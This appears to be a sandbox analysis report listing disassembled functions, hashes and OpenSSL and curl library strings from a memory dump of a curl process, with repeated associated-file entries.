String ID: ..\..\openssl\openssl\crypto\rand\md_rand.c$..\..\openssl\openssl\crypto\rand\md_rand.c$..\..\openssl\openssl\crypto\rand\md_rand.c$..\..\openssl\openssl\crypto\rand\md_rand.c$..\..\openssl\openssl\crypto\rand\md_rand.c$..\..\openssl\openssl\crypto\rand\md_rand.c
API String ID: 0-283015414
Opcode ID: 42b9a7b6537fb617298d03004399b9731765d22571307c8ed47ccb4f1e24314c
Instruction ID: 000a04e5cdc06bdbd104c2755d6795e43d6aae34aef1140485ef9e9f27ef8689
Opcode Fuzzy Hash: 42b9a7b6537fb617298d03004399b9731765d22571307c8ed47ccb4f1e24314c
Instruction Fuzzy Hash: 56411930785302ABEB28DB9CEC56F663394FB84B40F06451CF9596F2D2EBB498438B41

Function 009909E0 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 107COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 009909F8
_memset.LIBCMT ref: 00990A1A

Strings

..\..\openssl\openssl\crypto\buffer\buffer.c, xrefs: 00990AA3
..\..\openssl\openssl\crypto\buffer\buffer.c, xrefs: 00990A8A
..\..\openssl\openssl\crypto\buffer\buffer.c, xrefs: 00990A71
..\..\openssl\openssl\crypto\buffer\buffer.c, xrefs: 00990A3C

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memset
String ID: ..\..\openssl\openssl\crypto\buffer\buffer.c$..\..\openssl\openssl\crypto\buffer\buffer.c$..\..\openssl\openssl\crypto\buffer\buffer.c$..\..\openssl\openssl\crypto\buffer\buffer.c
API String ID: 2102423945-1792145376
Opcode ID: 4fbc49ad1cb07619301bb325b63d09cd2b43f09bf789c6a7ebbb78b9114068fb
Instruction ID: af9cbb8e9efb1986cc50c9fabc624ad565065cd3477824c4f6e3779958bdba66
Opcode Fuzzy Hash: 4fbc49ad1cb07619301bb325b63d09cd2b43f09bf789c6a7ebbb78b9114068fb
Instruction Fuzzy Hash: 832104B6B013226FDA14EA5CEC96B59B358EBD4B55F10853AF219CB381E770AC2583C4

Function 009D46B0 Relevance: 12.2, APIs: 8, Instructions: 207COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 009D4700
_memset.LIBCMT ref: 009D4718
_memset.LIBCMT ref: 009D47A3
_memset.LIBCMT ref: 009D4813
_memmove.LIBCMT ref: 009D4869

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memset$_memmove
String ID:
API String ID: 2532777613-0
Opcode ID: 2e6242525c037654784f3bb331a9b9e3dbc98fc8d0cecc46cf443c66776b4794
Instruction ID: f2bbefcce79af8a01bc81c7ca541d64c91406ba99eff5fb669ed6135bd13e3af
Opcode Fuzzy Hash: 2e6242525c037654784f3bb331a9b9e3dbc98fc8d0cecc46cf443c66776b4794
Instruction Fuzzy Hash: AF7147B29007445BD714DF6CDC42B9BF7E8AF94340F04862AFA899B342E734E544C796

Function 00960670 Relevance: 10.9, APIs: 1, Strings: 5, Instructions: 369COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 009608D0

Strings

no memory, xrefs: 009609EF
no memory, xrefs: 00960873
Request has same path as previous transfer, xrefs: 00960ACA
Uploading to a URL without a file name!, xrefs: 009608B2
no memory, xrefs: 00960851

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _strrchr
String ID: Request has same path as previous transfer$Uploading to a URL without a file name!$no memory$no memory$no memory
API String ID: 3213747228-3703743352
Opcode ID: c6fb6222f1a7d3db778bdd4857d9e636d7824d44bd9ab62c9a2745d20dcc2c3c
Instruction ID: 7a89b6ad1fc36288b8f7493d9c31c39e5654a33f1dc88262cb0c840dcbfc79c1
Opcode Fuzzy Hash: c6fb6222f1a7d3db778bdd4857d9e636d7824d44bd9ab62c9a2745d20dcc2c3c
Instruction Fuzzy Hash: 74C1E1707007019FEB24DF28CC8576B77E9AFC4305F44852DE98A97682EB76E9098B91

Function 009821F0 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 239COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 009822B5

Strings

..\..\openssl\openssl\ssl\s23_clnt.c, xrefs: 00982488
..\..\openssl\openssl\ssl\s23_clnt.c, xrefs: 009822E2
..\..\openssl\openssl\ssl\s23_clnt.c, xrefs: 00982542
..\..\openssl\openssl\ssl\s23_clnt.c, xrefs: 00982553
..\..\openssl\openssl\ssl\s23_clnt.c, xrefs: 00982251

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memmove
String ID: ..\..\openssl\openssl\ssl\s23_clnt.c$..\..\openssl\openssl\ssl\s23_clnt.c$..\..\openssl\openssl\ssl\s23_clnt.c$..\..\openssl\openssl\ssl\s23_clnt.c$..\..\openssl\openssl\ssl\s23_clnt.c
API String ID: 4104443479-4157744585
Opcode ID: 50187ec49e962ef278fa625ebca3425b2a17a58567039bd293dabbf90d0c7d81
Instruction ID: fa75b7c8fe5eaa86b5b75c1a6d90ff285e90950ef24475215e9a4a6f87d729a4
Opcode Fuzzy Hash: 50187ec49e962ef278fa625ebca3425b2a17a58567039bd293dabbf90d0c7d81
Instruction Fuzzy Hash: 229106B06447419FEB20DF25C415BA7B7E4BF11718F04892DE89A4BB91D3B9F888CB51

Function 009EA8A0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 232COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 009EAA92
_memset.LIBCMT ref: 009EAAF3
_memmove.LIBCMT ref: 009EAB18

Strings

ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 009EAB3F
..\..\openssl\openssl\crypto\evp\evp_lib.c, xrefs: 009EA8F2
..\..\openssl\openssl\crypto\evp\digest.c, xrefs: 009EAB49

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memset$_memmove
String ID: ..\..\openssl\openssl\crypto\evp\digest.c$..\..\openssl\openssl\crypto\evp\evp_lib.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE
API String ID: 2532777613-350335182
Opcode ID: ce8086317e0e1c4a65073d0e4cf0f1ac2a0587c8904ef82ac5d35a7dcf07ca30
Instruction ID: 5a998d86e66bc31ab8ce4a860afa10aa776883d2b1b95b271f88d2613e4d311f
Opcode Fuzzy Hash: ce8086317e0e1c4a65073d0e4cf0f1ac2a0587c8904ef82ac5d35a7dcf07ca30
Instruction Fuzzy Hash: 12718C316083819BC715DF6AD841B1BBBE9AFC5700F09092DF989872A2E771ED09C793

Function 0092C4B0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 202COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 0092C4D0
__aulldiv.LIBCMT ref: 0092C4E1
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0092C5C0
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0092C5D8
_memset.LIBCMT ref: 0092C6BD

Strings

%%-%ds %%5.1f%%%%, xrefs: 0092C6DA

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$Count64Tick__aulldiv_memset
String ID: %%-%ds %%5.1f%%%%
API String ID: 1795981990-3852588901
Opcode ID: ef2141aceb3310a175927a4d2102717dae09ab9f70042e0d43cc018ffb52537e
Instruction ID: 25c1e22f129504aaf36f5db067864795207f347081fd215fbb491bd6ccfb2287
Opcode Fuzzy Hash: ef2141aceb3310a175927a4d2102717dae09ab9f70042e0d43cc018ffb52537e
Instruction Fuzzy Hash: 9771E1B1A087519BC714DF28E881A5EF7E5FF89754F54472EF849A7250EB30E850CB82

Function 009B70B0 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 188COMMON

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 009B7143
_strncpy.LIBCMT ref: 009B724F

Strings

..\..\openssl\openssl\crypto\x509\by_dir.c, xrefs: 009B71C4, 009B71E1, 009B7203
..\..\openssl\openssl\crypto\x509\by_dir.c, xrefs: 009B72A7
..\..\openssl\openssl\crypto\x509\by_dir.c, xrefs: 009B7187
..\..\openssl\openssl\crypto\x509\by_dir.c, xrefs: 009B7230

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _strncmp_strncpy
String ID: ..\..\openssl\openssl\crypto\x509\by_dir.c$..\..\openssl\openssl\crypto\x509\by_dir.c$..\..\openssl\openssl\crypto\x509\by_dir.c$..\..\openssl\openssl\crypto\x509\by_dir.c
API String ID: 2634297590-2681299901
Opcode ID: b62314e91ea5649f9f93216357e1be731914731ca5408ec1612da410143642d3
Instruction ID: ae741c9d8456a56d7e6a8227895cb963b1e62006d69176207566d8bebaf57bf3
Opcode Fuzzy Hash: b62314e91ea5649f9f93216357e1be731914731ca5408ec1612da410143642d3
Instruction Fuzzy Hash: 5851237170C302ABE720DFA8DE01BE6B7D4ABC1724F044A28F9659B2D1EB71D9058791

Function 009AA690 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 185COMMON

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 009AA6AF

Strings

..\..\openssl\openssl\crypto\x509v3\v3_crld.c, xrefs: 009AA836
fullname, xrefs: 009AA69F
..\..\openssl\openssl\crypto\x509v3\v3_crld.c, xrefs: 009AA79B
..\..\openssl\openssl\crypto\x509v3\v3_crld.c, xrefs: 009AA6E5
relativename, xrefs: 009AA72C

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _strncmp
String ID: ..\..\openssl\openssl\crypto\x509v3\v3_crld.c$..\..\openssl\openssl\crypto\x509v3\v3_crld.c$..\..\openssl\openssl\crypto\x509v3\v3_crld.c$fullname$relativename
API String ID: 909875538-1713520478
Opcode ID: 1280ed71e85b5e73fe4de7e7fbff0daa3053b30fd67af023bdd858c43c527f8f
Instruction ID: c27d6871067e7eba1ee4575a2a48085f8f49cd3c622abed95a6879894abb023f
Opcode Fuzzy Hash: 1280ed71e85b5e73fe4de7e7fbff0daa3053b30fd67af023bdd858c43c527f8f
Instruction Fuzzy Hash: 2051B076B003014BD7149E24E8A176BB7A5EF96710F18853DE8494B392E776DD0AC7C3

Function 009D2600 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 178COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 009D26B9

Strings

..\..\openssl\openssl\crypto\conf\conf_api.c, xrefs: 009D272B
..\..\openssl\openssl\crypto\conf\conf_api.c, xrefs: 009D2699
vv == NULL, xrefs: 009D2721
..\..\openssl\openssl\crypto\conf\conf_api.c, xrefs: 009D2637, 009D2654, 009D2676
..\..\openssl\openssl\crypto\conf\conf_def.c, xrefs: 009D275A, 009D2778, 009D279A

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memmove
String ID: ..\..\openssl\openssl\crypto\conf\conf_api.c$..\..\openssl\openssl\crypto\conf\conf_api.c$..\..\openssl\openssl\crypto\conf\conf_api.c$..\..\openssl\openssl\crypto\conf\conf_def.c$vv == NULL
API String ID: 4104443479-3207610245
Opcode ID: 628ab4ee29ac800435c52584c93787786c4b1fdbbe99a9da2c83e9e587ee18bd
Instruction ID: 7f6c7b0e2e4a847feb4c461f3e98f942d9fb61f2d2920bd62cf0ef6cc5bb94c6
Opcode Fuzzy Hash: 628ab4ee29ac800435c52584c93787786c4b1fdbbe99a9da2c83e9e587ee18bd
Instruction Fuzzy Hash: DD510A3478130167E6209BA49C07FA77798BF81B44F058026FE15AB3C1EFEADD128796

Function 009B0F30 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 156COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 009B0FF1
_memset.LIBCMT ref: 009B101A

Strings

len>=0 && len<=(int)sizeof(ctx->key), xrefs: 009B10E6
..\..\openssl\openssl\crypto\hmac\hmac.c, xrefs: 009B10F0
..\..\openssl\openssl\crypto\hmac\hmac.c, xrefs: 009B1104
j <= (int)sizeof(ctx->key), xrefs: 009B10FA

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
